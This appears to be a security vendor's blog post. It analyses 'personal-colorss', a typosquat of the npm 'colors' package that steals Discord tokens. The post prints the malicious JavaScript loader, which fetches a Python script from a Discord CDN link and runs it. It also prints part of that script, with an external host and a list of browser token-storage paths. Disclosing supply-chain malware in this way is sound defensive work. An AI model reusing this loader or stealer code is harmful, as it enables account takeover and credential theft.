New Typosquatting Attack on npm Package ’colors’ Using Cross language Technique Explained

New Typosquating Attack On Npm Package ’Colors’
Table of Contents

All developers are prone to mistakes that leave them open to typosquatting attacks. Tiredness, dirty keyboard, or software issues may lead to typing some letters twice. Everyone would like to see a red screen and alarm coming out of the computer in such a case, but sadly, it doesn’t always work that way with most supply chain attacks. As attackers and their methods become more sophisticated every day, they are using ever-more devious ways to hide the fact that you installed a malicious package.

Mend Supply Chain Defender blocked the personal-colorss package 39 minutes after it was published into npm on May 9th, 2022. On the day of this blog’s publication, the package is still available in npm and is simple to mistake with the original colors package, not only due to its name. The package is malicious and is stealing discord tokens. While this is not something we haven’t seen before, this package is using a new approach for a better disguise and execution of its malicious behavior.

What is unique about this attack method?

We can see that attackers are mixing technologies. In this case, we observed a JavaScript file that executes a Python script with the actual malicious content. We also observed that the attacker was using similar code to other Discord tokens-stealing malicious packages we have encountered during the last few months. This time, however, the disguise was not easily recognizable.

The personal-colorss package seems to be acting as the chart-topping original colors package which has 20 million weekly downloads. Due to the immutability of the interface in the malicious package, the users will be able to use the capabilities of ‘colors’ when using ‘personal-colorss’. Unfortunately, underneath the interface, a malicious python file is being executed to steal Discord tokens.

The main file of both the original colors package and the malicious version is lib/colors.js.
The malicious package has two versions, 0.0.1 and 0.0.2. It contains the non-obfuscated version of the malicious code in version 0.0.1 and the obfuscated version of the exact same code in version 0.0.2. As you will later see in the non-obfuscated version, the package collects user information that is needed for the execution of another malicious Python script. 

Let’s focus on the visual similarities first.

Both code snippets are indistinguishable, as are the rest of the files in the package, which gives the malicious version of ‘colors’ the option to act as if it is the original one, with all its capabilities.

In addition, the actor took advantage of the fact that the beginning of the original file contains comments by the author to inject the malicious part while keeping the file similar in length and content:

the only visual difference between the legit and the malicious package


Figure 1 – the only visual difference between the legit and the malicious package

On the left, we see the malicious package ‘personal colorss’, while on the right we see the original ‘colors’.

The codes only differ in the marked area. 

The packages also look identical in the npm registry, and it’s hard to distinguish between them.

So far we observed that:

  • The actor is injecting the malicious code at the beginning of the ‘colors.js’ file, replacing the comments made by the original author.
  • After the first 28 lines that are inserted by the malicious actor, the rest of the code is identical to the original colors package.
  • The actor is trying to keep the length of the file similar to the original version to maintain the visual and functional similarities to the original package.
  • Most importantly and severely, the actor is executing a main.py file (line 23) that is still unknown to us.

How is the python file being executed?

Let’s take a look at the first 31 lines of the file lib/colors.js file in the malicious package ‘personal-colorss’.

  • Line 9 assigns a link to the constant named ‘url’, that later on is used to download a main.py file.
  • The imported ‘file-download’ package in line 3, gives later the option to download the file from a previously defined source. The download happens in line 18.
  • Line 16 is the declaration of the method baixararquivo.
    This method uses the package ‘file-download’ that was required earlier in line 4.
  • ”baixar arquivo” is being translated from Portuguese to “download file”.
  • The first call to baixararquivo happens in line 21.
  • The method baixararquivo in line 19 calls the function pip() that executes the newly downloaded python file. 
  • ‘pip’ is the package installer for Python, so the function name might lull us into a false sense of security.
  • The attacker uses execSync in line 26 to make sure Node is waiting for its process to finish. NodeJS supports doing this synchronously. That way, the attacker allows the script to wait for the end of execution.
var colors = {};
module['exports'] = colors;

const download = require('file-download')
const fs = require("fs")
const {execSync} = require('child_process')
const local = process.env.localappdata
const roaming = process.env.appdata
const url = "https://cdn.discordapp.com/attachments/973091847675183204/973092116655910972/main.py"
const arch = "main.py"
const options = {directory: roaming,filename: arch}

let configPip = ["pip0", "pip1", "pip2", "pip3", "pip4"]


function baixararquivo(){
   
    download(url, options, function(err){if(err) throw err})
    setTimeout(()=> {pip()},300)}
   
    baixararquivo()

async function pip(){


    code =  await execSync(`python ${roaming}/main.py`);
   
    let fofozaper = roaming + "/" + arch

    await fs.unlinkSync(fofozaper)
}

What’s in the python file?

After the execution of main.py, a connection is established with this site.

Connection to cipher stealer site is established using Xenos as part of main.pyPart of the code from main.py file that was imported under the malicious version of ‘colors’:

import os, re, threading, urllib.request

class X3N0S:
    def __init__(self):
        self.host = "http://20.226.40.80/tela"
        self.all_tokens = []
        self.valid_tokens = []
        self.paths = {
            "__ROAMING__/Discord/Local Storage/leveldb",
            "__ROAMING__/Lightcord/Local Storage/leveldb",
            "__ROAMING__/discordcanary/Local Storage/leveldb",
            "__ROAMING__/discordptb/Local Storage/leveldb",
            "__ROAMING__/OperaSoftware/Opera GX Stable/Local Storage/leveldb",
            "__ROAMING__/OperaSoftware/Opera Stable/Local Storage/leveldb",
            "__ROAMING__/Opera Software/Opera Neon/User Data/Default/Local Storage/leveldb",
            "__LOCAL__/Google/Chrome/User Data/Default/Local Storage/leveldb",
            "__LOCAL__/Google/Chrome SxS/User Data/Local Storage/leveldb",
            "__LOCAL__/BraveSoftware/Brave-Browser/User Data/Default/Local Storage/leveldb",
            "__LOCAL__/Yandex/YandexBrowser/User Data/Default/Local Storage/leveldb",
            "__LOCAL__/Amigo/User Data/Local Storage/leveldb",
            "__LOCAL__/Torch/User Data/Local Storage/leveldb",
            "__LOCAL__/Kometa/User Data/Local Storage/leveldb",
            "__LOCAL__/Orbitum/User Data/Local Storage/leveldb",
            "__LOCAL__/CentBrowser/User Data/Local Storage/leveldb",
            "__LOCAL__/7Star/7Star/User Data/Local Storage/leveldb",
            "__LOCAL__/Sputnik/Sputnik/User Data/Local Storage/leveldb",
            "__LOCAL__/Vivaldi/User Data/Default/Local Storage/leveldb",
            "__LOCAL__/EpicPrivacy Browser/User Data/Local Storage/leveldb",
            "__LOCAL__/Microsoft/Edge/User Data/Default/Local Storage/leveldb",
            "__LOCAL__/uCozMedia/Uran/User Data/Default/Local Storage/leveldb",
            "__LOCAL__/Iridium/User Data/Default/Local Storage/leveld",
        }</pre>

Once the connection is established, we observe an attempt to pull out every information (discord token) stored in the browser cache through a TCP connection (IP: 34.104.35.123 port 80).

Although the technique used in the Python script is not new, the package stands out because of the way it is disguised and because of how well it mimics the original popular package.

Conclusion

Discord tokens are in high demand by attackers, as it contains important information such as  username, password, email, and date of birth, which users provide when signing up to Discord.

The token is a way to verify who you are without exposing the password. Whoever has your discord token could also get access to your account even if you have two-factor authentication (2FA) on, as the token already has all the information inside. For some reason, Discord user tokens are plaintext, easy to steal, and let hackers bypass 2FA.

The attackers are evolving with each attack, and the open-source registries do not always take those packages down fast, if at all. It is likely that we will see more similar attacks in the future.

Mend’s automated malware detection platform, Supply Chain Defender, checks to make sure you’re only using verified package sources and prevents you from importing any malicious package into your organization or personal machine. Mend Supply Chain Defender is free to use. Sign up here >>

Manage open source risk

Recent resources

More than 100K sites impacted by Polyfill supply chain attack

The new Chinese owner tampers with the code of cdn.polyfill.io to inject malware targeting mobile devices.

Read more

Over 100 Malicious Packages Target Popular ML PyPi Libraries

Discover the latest security threat as over 100 malicious packages target popular ML PyPi libraries. Learn about the attack methods.

Read more

What New Security Threats Arise from The Boom in AI and LLMs?

Explore the security threats arising from the boom in AI and LLMs, including data privacy, misinformation, and resource exhaustion.

Read more